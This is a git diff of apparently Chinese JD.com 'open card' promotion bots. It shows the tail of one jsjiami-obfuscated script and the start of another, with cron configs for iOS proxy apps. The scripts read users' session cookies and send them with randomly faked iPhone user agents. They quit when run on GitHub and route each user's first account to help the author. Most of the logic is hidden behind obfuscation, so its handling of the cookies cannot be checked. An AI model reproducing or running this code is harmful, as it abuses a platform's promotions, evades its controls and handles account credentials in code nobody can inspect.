_0x1d062c,_0x46a0fa[_0x5a05('384')])&&_0x1d062c[_0x5a05('198')]){if(_0x46a0fa[_0x5a05('388')](_0x46a0fa[_0x5a05('389')],_0x46a0fa[_0x5a05('389')])){console[_0x5a05('7')](e);$[_0x5a05('20')]($[_0x5a05('21')],'',_0x2e6e15[_0x5a05('38a')]);return[];}else{console[_0x5a05('7')](_0x5a05('199')+(_0x1d062c[_0x5a05('198')]||''));}}else{console[_0x5a05('7')](_0x4bf4b4);}}}catch(_0x50b5c9){if(_0x46a0fa[_0x5a05('388')](_0x46a0fa[_0x5a05('38b')],_0x46a0fa[_0x5a05('38c')])){$[_0x5a05('3f')](_0x50b5c9,_0x284257);}else{console[_0x5a05('7')](_0x5a05('27b')+(res[_0x5a05('87')]||''));}}finally{_0x46a0fa[_0x5a05('38d')](_0x562acc);}});});}function getCk(){var _0x35862b={'tMOpw':function(_0x16cc7e){return _0x16cc7e();},'iXkic':function(_0x1e89f4,_0xb37dee){return _0x1e89f4==_0xb37dee;},'qNzLd':_0x5a05('4b'),'pZxPZ':function(_0x30040e,_0x2ec28e){return _0x30040e!==_0x2ec28e;},'KKioK':_0x5a05('44'),'SEIfm':function(_0x2e3b2e,_0x545270){return _0x2e3b2e===_0x545270;},'uAjBa':_0x5a05('38e'),'Efnat':_0x5a05('38f'),'Kroqj':_0x5a05('390'),'VzsGh':_0x5a05('391'),'YYTVT':function(_0x1ff06b,_0x225985){return _0x1ff06b!==_0x225985;},'jSLNh':_0x5a05('392'),'xWWwT':_0x5a05('393'),'BXuaD':_0x5a05('29f'),'gTNcR':_0x5a05('2a0'),'rIMhP':_0x5a05('2a1'),'NrIMG':_0x5a05('394'),'toRLZ':function(_0x4b6e7e,_0x301336){return _0x4b6e7e!=_0x301336;},'UEKBB':function(_0x5f0bf0,_0x26ef36){return _0x5f0bf0>_0x26ef36;},'OsuCa':_0x5a05('42'),'laArK':function(_0x317ef0,_0x24c5e4){return _0x317ef0+_0x24c5e4;},'cOrPI':_0x5a05('43'),'oEAQS':function(_0x483399,_0x230a56){return _0x483399&&_0x230a56;},'gIyoq':_0x5a05('395'),'LuskQ':_0x5a05('396')};return new Promise(_0x16649c=>{var _0x2f3107={'FkNCU':function(_0x445cb2){return _0x35862b[_0x5a05('397')](_0x445cb2);},'eauMW':function(_0x139a03,_0xd6a949){return _0x35862b[_0x5a05('398')](_0x139a03,_0xd6a949);},'eYTpI':_0x35862b[_0x5a05('399')],'ZnYNr':function(_0x4d5c63,_0x2c69c3){return _0x35862b[_0x5a05('39a')](_0x4d5c63,_0x2c69c3);},'vfhUw':_0x35862b[_0x5a05('39b')],'TwJAO':function(_0x16dcac,_0x5968e6){return _0x35862b[_0x5a05('39c')](_0x16dcac,_0x5968e6);},'wwxLU':_0x35862b[_0x5a05('39d')],'jwasZ':_0x35862b[_0x5a05('39e')],'OUqjL':_0x35862b[_0x5a05('39f')],'CPTMf':_0x35862b[_0x5a05('3a0')],'iYFJm':function(_0x3a6be5,_0x3aab8c){return _0x35862b[_0x5a05('398')](_0x3a6be5,_0x3aab8c);},'axYDc':function(_0x4fa67f,_0x56423d){return _0x35862b[_0x5a05('3a1')](_0x4fa67f,_0x56423d);},'TiTvT':_0x35862b[_0x5a05('3a2')],'mVhBb':_0x35862b[_0x5a05('3a3')],'KNbdt':_0x35862b[_0x5a05('3a4')],'xCtie':_0x35862b[_0x5a05('3a5')],'OBFoL':_0x35862b[_0x5a05('3a6')],'KhElC':_0x35862b[_0x5a05('3a7')],'epIjq':function(_0x1a2470,_0x2a866a){return _0x35862b[_0x5a05('3a8')](_0x1a2470,_0x2a866a);},'EGGDz':function(_0x502620,_0x3586f0){return _0x35862b[_0x5a05('3a9')](_0x502620,_0x3586f0);},'qrGrJ':_0x35862b[_0x5a05('3aa')],'yJDQT':function(_0x1f921c,_0x2e3af3){return _0x35862b[_0x5a05('3ab')](_0x1f921c,_0x2e3af3);},'iIwhf':function(_0x5b5b6f,_0x22633d){return _0x35862b[_0x5a05('3a9')](_0x5b5b6f,_0x22633d);},'uEJDG':_0x35862b[_0x5a05('3ac')],'LrNnK':function(_0x2c8e24,_0x484ca9){return _0x35862b[_0x5a05('3ad')](_0x2c8e24,_0x484ca9);},'tJsFp':_0x35862b[_0x5a05('3ae')],'HsUOi':_0x35862b[_0x5a05('3af')]};let _0x2d2154={'url':_0x5a05('2b1')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'followRedirect':![],'headers':{'User-Agent':$['UA']}};$[_0x5a05('1a7')](_0x2d2154,async(_0x308346,_0x16fc00,_0x5c27b5)=>{if(_0x2f3107[_0x5a05('3b0')](_0x2f3107[_0x5a05('3b1')],_0x2f3107[_0x5a05('3b2')])){console[_0x5a05('7')](_0x5a05('33b')+(res[_0x5a05('87')]||''));}else{try{if(_0x308346){if(_0x2f3107[_0x5a05('3b3')](_0x2f3107[_0x5a05('3b4')],_0x2f3107[_0x5a05('3b5')])){if(_0x16fc00[_0x5a05('15a')]&&_0x2f3107[_0x5a05('3b6')](_0x16fc00[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x2f3107[_0x5a05('3b7')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x308346));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('3b8'));}else{_0x2f3107[_0x5a05('3b9')](_0x16649c);}}else{if(_0x2f3107[_0x5a05('3ba')](_0x2f3107[_0x5a05('3bb')],_0x2f3107[_0x5a05('3bc')])){let _0x48c5c9='';let _0x2dcc20='';let _0x1973ae=_0x16fc00[_0x2f3107[_0x5a05('3bd')]][_0x2f3107[_0x5a05('3be')]]||_0x16fc00[_0x2f3107[_0x5a05('3bd')]][_0x2f3107[_0x5a05('3bf')]]||'';let _0xd95f48='';if(_0x1973ae){if(_0x2f3107[_0x5a05('3b0')](_0x2f3107[_0x5a05('3c0')],_0x2f3107[_0x5a05('3c0')])){if(_0x2f3107[_0x5a05('3c1')](typeof _0x1973ae,_0x2f3107[_0x5a05('3c2')])){_0xd95f48=_0x1973ae[_0x5a05('68')](',');}else _0xd95f48=_0x1973ae;for(let _0x35866f of _0xd95f48){let _0x201119=_0x35866f[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x201119[_0x5a05('68')]('=')[0x1]){if(_0x2f3107[_0x5a05('3c3')](_0x201119[_0x5a05('6b')](_0x2f3107[_0x5a05('3c4')]),-0x1))_0x48c5c9=_0x2f3107[_0x5a05('3c5')](_0x201119[_0x5a05('6e')](/ /g,''),';');if(_0x2f3107[_0x5a05('3c6')](_0x201119[_0x5a05('6b')](_0x2f3107[_0x5a05('3c7')]),-0x1))_0x2dcc20=_0x2f3107[_0x5a05('3c5')](_0x201119[_0x5a05('6e')](/ /g,''),';');}}}else{if(_0x16fc00[_0x5a05('15a')]&&_0x2f3107[_0x5a05('3c8')](_0x16fc00[_0x5a05('15a')],0x1ed)){console[_0x5a05('7')](_0x2f3107[_0x5a05('3b7')]);$[_0x5a05('13')]=!![];}console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x308346));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('31b'));}}if(_0x2f3107[_0x5a05('3c9')](_0x48c5c9,_0x2dcc20))activityCookie=_0x48c5c9+'\x20'+_0x2dcc20;}else{console[_0x5a05('7')](_0x5a05('208')+(res[_0x5a05('87')]||''));}}}catch(_0x59680d){$[_0x5a05('3f')](_0x59680d,_0x16fc00);}finally{if(_0x2f3107[_0x5a05('3b0')](_0x2f3107[_0x5a05('3ca')],_0x2f3107[_0x5a05('3cb')])){if(_0x308346){console[_0x5a05('7')](''+$[_0x5a05('f1')](_0x308346));console[_0x5a05('7')]($[_0x5a05('21')]+_0x5a05('f2'));}else{res=$[_0x5a05('7e')](_0x5c27b5);if(_0x2f3107[_0x5a05('3b3')](typeof res,_0x2f3107[_0x5a05('3c2')])){console[_0x5a05('7')](_0x5c27b5);}}}else{_0x2f3107[_0x5a05('3b9')](_0x16649c);}}}});});}function taskPostUrl(_0xacc2c0,_0x278173){var _0x61f277={'KhDyu':_0x5a05('3cc'),'iUZNl':_0x5a05('3cd'),'DzWEA':_0x5a05('3ce'),'iOgOR':_0x5a05('3cf'),'lFgXE':_0x5a05('1b1'),'UoPyu':function(_0x5c4b19,_0x21a7ea){return _0x5c4b19+_0x21a7ea;},'mDuMj':function(_0x576c16,_0x40c899){return _0x576c16+_0x40c899;},'guUNv':_0x5a05('3d0'),'MkxnF':_0x5a05('3d1'),'xuAIk':_0x5a05('3d2'),'snlsl':_0x5a05('3d3')};return{'url':_0x5a05('3d2')+_0xacc2c0,'body':_0x278173,'headers':{'Accept':_0x61f277[_0x5a05('3d4')],'Accept-Language':_0x61f277[_0x5a05('3d5')],'Accept-Encoding':_0x61f277[_0x5a05('3d6')],'Connection':_0x61f277[_0x5a05('3d7')],'Content-Type':_0x61f277[_0x5a05('3d8')],'Cookie':''+activityCookie+($[_0x5a05('62')]&&_0x61f277[_0x5a05('3d9')](_0x61f277[_0x5a05('3da')](_0x61f277[_0x5a05('3db')],$[_0x5a05('62')]),';')||'')+lz_jdpin_token,'Host':_0x61f277[_0x5a05('3dc')],'Origin':_0x61f277[_0x5a05('3dd')],'X-Requested-With':_0x61f277[_0x5a05('3de')],'Referer':_0x5a05('2b1')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')],'User-Agent':$['UA']}};}function getUA(){var _0x22d464={'hjtVm':function(_0x4c8b9c,_0x44f7a7){return _0x4c8b9c(_0x44f7a7);},'DXlXr':function(_0x1978a4,_0x283d2f){return _0x1978a4==_0x283d2f;},'yIBJM':_0x5a05('d4'),'kGGfm':_0x5a05('d5'),'BrCoC':_0x5a05('d6'),'uvgCt':function(_0x2674c0,_0x304357){return _0x2674c0*_0x304357;},'ExHIo':function(_0x3017c4,_0x464567){return _0x3017c4==_0x464567;}};$['UA']=_0x5a05('3df')+_0x22d464[_0x5a05('3e0')](randomString,0x28)+_0x5a05('3e1');if(_0x22d464[_0x5a05('3e2')]($[_0x5a05('36')],0x1)){let _0x307aa2=[$[_0x5a05('2b')],_0x22d464[_0x5a05('3e3')],_0x22d464[_0x5a05('3e4')],_0x22d464[_0x5a05('3e5')]];let _0x333174=Math[_0x5a05('107')](_0x22d464[_0x5a05('3e6')](Math[_0x5a05('9a')](),0xa));let _0x8bfb4e=0x0;if(_0x22d464[_0x5a05('3e2')](_0x333174,0x1))_0x8bfb4e=0x1;if(_0x22d464[_0x5a05('3e2')](_0x333174,0x2))_0x8bfb4e=0x2;if(_0x22d464[_0x5a05('3e7')](_0x333174,0x3))_0x8bfb4e=0x3;$[_0x5a05('2b')]=_0x307aa2[_0x8bfb4e]?_0x307aa2[_0x8bfb4e]:$[_0x5a05('2b')];}}function randomString(_0x4d5ae9){var _0x3df35f={'KnQNp':function(_0x1cea72,_0x35b797){return _0x1cea72||_0x35b797;},'XByxy':_0x5a05('241'),'XqDQC':function(_0x33eaf4,_0x829e80){return _0x33eaf4<_0x829e80;},'rBxxt':function(_0x53f5e1,_0x178157){return _0x53f5e1*_0x178157;}};_0x4d5ae9=_0x3df35f[_0x5a05('3e8')](_0x4d5ae9,0x20);let _0x5e0bc6=_0x3df35f[_0x5a05('3e9')],_0x3592ac=_0x5e0bc6[_0x5a05('32')],_0x44a874='';for(i=0x0;_0x3df35f[_0x5a05('3ea')](i,_0x4d5ae9);i++)_0x44a874+=_0x5e0bc6[_0x5a05('25f')](Math[_0x5a05('107')](_0x3df35f[_0x5a05('3eb')](Math[_0x5a05('9a')](),_0x3592ac)));return _0x44a874;}function jsonParse(_0x55e06f){var _0x565c35={'XGeJz':function(_0x4b484a,_0xf83456){return _0x4b484a==_0xf83456;},'JcgTP':_0x5a05('29d'),'frPUK':function(_0x4d9ba9,_0xc0dbe1){return _0x4d9ba9!==_0xc0dbe1;},'QzSyO':_0x5a05('3ec'),'PgyVB':_0x5a05('3ed'),'VIgCZ':_0x5a05('29e')};if(_0x565c35[_0x5a05('3ee')](typeof _0x55e06f,_0x565c35[_0x5a05('3ef')])){try{if(_0x565c35[_0x5a05('3f0')](_0x565c35[_0x5a05('3f1')],_0x565c35[_0x5a05('3f2')])){return JSON[_0x5a05('136')](_0x55e06f);}else{console[_0x5a05('7')](e);}}catch(_0x297144){console[_0x5a05('7')](_0x297144);$[_0x5a05('20')]($[_0x5a05('21')],'',_0x565c35[_0x5a05('3f3')]);return[];}}};_0xodI='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard28.js b/backUp/gua_opencard28.js new file mode 100644 index 0000000..8ff2447 --- /dev/null +++ b/backUp/gua_opencard28.js @@ -0,0 +1,55 @@ +/* +9.11~9.13 母婴有机日 好物超值购 [gua_opencard28.js] +新增开卡脚本 (脚本已加密 +一次性脚本 + +邀请一人20豆 被邀请也有10豆(有可能没有豆 +开1组卡 抽奖可能获得20京豆(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购10京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku28]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +邀请上限5人 +ck1满5人自动换ck2... + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard28="true" + +All变量适用 +———————————————— +入口:[ 9.11~9.13 母婴有机日 好物超值购 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=e7fe51d43cd845cd85f8be756192c74c&shareUuid=d9a73da5bfb2476f917b004fc0ce833c)] + +请求太频繁会被黑ip +过10分钟再执行 + +============Quantumultx=============== +[task_local] +#9.11~9.13 母婴有机日 好物超值购 +47 1,20 11-13 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard28.js, tag=9.11~9.13 母婴有机日 好物超值购, enabled=true + +================Loon============== +[Script] +cron "47 1,20 11-13 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard28.js,tag=9.11~9.13 母婴有机日 好物超值购 + +===============Surge================= +9.11~9.13 母婴有机日 好物超值购 = type=cron,cronexp="47 1,20 11-13 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard28.js + +============小火箭========= +9.11~9.13 母婴有机日 好物超值购 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard28.js, cronexpr="47 1,20 11-13 9 *", timeout=3600, enable=true +*/ +let guaopencard_addSku = "false" +let guaopencard = "false" + +const $ = new Env('9.11~9.13 母婴有机日 好物超值购'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +var _0xodz='jsjiami.com.v6',_0xea84=[_0xodz,'RURXVEE=','QlJSbnI=','RG1KVHE=','VXJXTkU=','VE5EdXc=','V29IZnQ=','eHJaelo=','UmVKbmE=','bmlRUGg=','YW5IT1M=','bmxRRVk=','UGFyQ1Y=','eWhicUk=','Q3lFSkU=','ekdJREw=','bUhRc2s=','aENyc3o=','UFJWbXc=','SHBtYlI=','Tk9RSnM=','bVZ0UVM=','eXJlcno=','ak1nU1U=','V0F2ZU8=','bHl2c0Y=','YlF4dXg=','R0R4Qmo=','clBjRnk=','WnlnbUw=','bmN4SWo=','dG9Zd1k=','UFFtTmw=','R0JaRGM=','RXN2cFo=','QlB6ZXA=','S3FXREw=','UkFFS1Y=','WU5CVEc=','YlJlZlU=','clNzUGo=','WU9KcHM=','ZW5YYUQ=','TmlKc3U=','ZFFVeWY=','a3lkRVo=','ZmhRaEo=','VlB1QkQ=','VUF6S3I=','T294Zkw=','VFVHdWk=','VkVCZHM=','IGdldFNpbXBsZUFjdEluZm9WbyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','RVdIREU=','Y25udEo=','anNCS2Q=','RGFpZk0=','b1JzaVM=','V3d0Rmk=','Z2V0U2ltcGxlQWN0SW5mb1ZvIA==','TlVRSEI=','RUpRd0s=','T3R6ZFM=','RkRjZXQ=','Q3ZzSEM=','YWFyZWE9MTZfMTMxNV8xMzE2XzUzNTIyJmJvZHk9JTdCJTIydXJsJTIyJTNBJTIyaHR0cHMlM0ElNUMvJTVDL2x6ZHoxLWlzdi5pc3ZqY2xvdWQuY29tJTIyJTJDJTIyaWQlMjIlM0ElMjIlMjIlN0QmYnVpbGQ9MTY3ODE0JmNsaWVudD1hcHBsZSZjbGllbnRWZXJzaW9uPTEwLjEuNCZkX2JyYW5kPWFwcGxlJmRfbW9kZWw9aVBob25lOCUyQzEmZWlkPWVpZElkMTBiODEyMTkxc2VCQ0ZHbXRiZVRYMnZYRjNsYmdEQVZ3UWhTQTh3S3FqNk9BOUo0Zm9QUW0zVXpSd3JyTGRPMjNCM0Uyd0NVWS9iT0RIMDFWbnhpRW5BVXZvTTZTaUVubVAzSVBxUnVPJTJCeS8lMkJabyZpc0JhY2tncm91bmQ9TiZqb3ljaW91cz02MyZsYW5nPXpoX0NOJm5ldHdvcmtUeXBlPXdpZmkmbmV0d29ya2xpYnR5cGU9SkROZXR3b3JrQmFzZUFGJm9wZW51ZGlkPTJmNzU3OGNiNjM0MDY1ZjliZWFlOTRkMDEzZjE3MmUxOTdkNjIyODMmb3NWZXJzaW9uPTEzLjEuMiZwYXJ0bmVyPWFwcGxlJnJmcz0wMDAwJnNjb3BlPTAxJnNjcmVlbj03NTAlMkExMzM0JnNpZ249NmU1Y2NlMTUyNTY4MzdjYzRjNDIxODZmNjVjMDFmYmUmc3Q9MTYzMTMyNzE3ODE3OCZzdj0xMTAmdWVtcHM9MC0wJnV0cz0wZjMxVFZSakJTc3FuZHU0L2pnVVB6NnV5bXk1ME1RSkVrby9NdWtONVc4dUI5MVJmZnhIbzljcnZpUjdOdzlqUGFVYzZrMFFzVXZ1R1FqL0MzZ0U4Q2d0OGhTdXdTd0FVU3I1YVclMkI4V1FTeGlJNzl4VXQ1aHRFY1oxMW5ZUDNmVUZiTEc0QnpQc1NpNUo5Uk5JWVlJcjk2V2dzOFc5TENmakpIUjEza1pKTG5TWU1nelZqT0pDVDlRYTlxYy9LVkIvWlZkJTJCRGk5OUVxVzZEMm8xN2pVZyUzRCUzRCZ1dWlkPWhqdWR3Z29oeHpWdTk2a3J2L1Q2SGclM0QlM0Qmd2lmaUJzc2lkPTc5NjYwNmU4ZTE4MWFhNTg2NWVjMjA3MjhhMjcyMzhi','VWVHUlI=','eGdvekU=','QlJNUHE=','bGNZWUE=','ZUlxV2I=','ZktJaUo=','UnhmTGY=','VWR0Y2I=','UXV3b2c=','SmxVV3Q=','Rm9RYUQ=','aW5zWms=','Z25KTlQ=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','dmFMSUE=','dVVoYUw=','Um1XS0c=','SnJFYko=','Y05Idlk=','IGlzdk9iZnVzY2F0b3IgQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','Z1Zhd2g=','R0ZublQ=','ZXJyY29kZQ==','SWVXS0w=','dG9rZW4=','eHRYV3Q=','QmVsVFY=','TmVkZ1c=','eVNVUmQ=','Z3hMWm0=','Q1lGTlk=','aXN2T2JmdXNjYXRvciA=','WmNvS0Y=','eWtIaXQ=','VEd1Z2s=','YWdYalU=','c2tHT2U=','SnNXVW0=','WFhWTkk=','RWxKZ1M=','YWppYkI=','Y1NVbUE=','UHVIS1U=','bGl3c0U=','cExpc2g=','Q2pkWWw=','eHNtQnk=','bnJpcXk=','TkNucm8=','cVhzcWE=','cm95UlQ=','SXNqUXc=','U2NkQXo=','YXlJS2g=','Ym1ESVk=','dFdhTEo=','WFJRWE0=','elBiSUw=','cHdwZmg=','ekhjWks=','Qm9PZ3E=','dWdLRmc=','YWZSUE0=','aExHc3Q=','ekRGYkM=','d2hwQlY=','U1pKSXY=','elJEVnY=','SHhkTXk=','b3NxVXA=','QmFTT1E=','UGlscmk=','emZGUXM=','QmFsZUE=','dXhmY0s=','SHNWQXI=','d1B0ZVo=','aHl6aVg=','ZXd6SGs=','cmhGTWQ=','bEFmdFA=','bFZxcE8=','Q3RuUnQ=','Wm1aT0M=','UkFYTEI=','RGtOQlo=','bEFZQno=','eW9FS0U=','UEhSRkI=','UUtidWs=','eFZCVlg=','YXBwbGljYXRpb24vanNvbg==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','a2VlcC1hbGl2ZQ==','QVVUSF9DX1VTRVI9','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','WE1MSHR0cFJlcXVlc3Q=','UkNreFc=','Q3dKUXk=','cEFhaFE=','UVJ1Q2Y=','THdqV1g=','bE91a08=','TWFwY0M=','RWx0TU4=','Qm9rYUs=','eGxZUEQ=','VnhTWXk=','amRhcHA7aVBob25lOzEwLjEuNDsxMy4xLjI7','b0VrQ2U=','O25ldHdvcmsvd2lmaTttb2RlbC9pUGhvbmU4LDE7YXBwQnVpbGQvMTY3ODE0O2pkU3VwcG9ydERhcmtNb2RlLzA=','WkJSV2k=','b0tqUk0=','bEFBZHE=','Y29kZQ==','ZlFIQ1o=','QkFDRHo=','ZFdyc2o='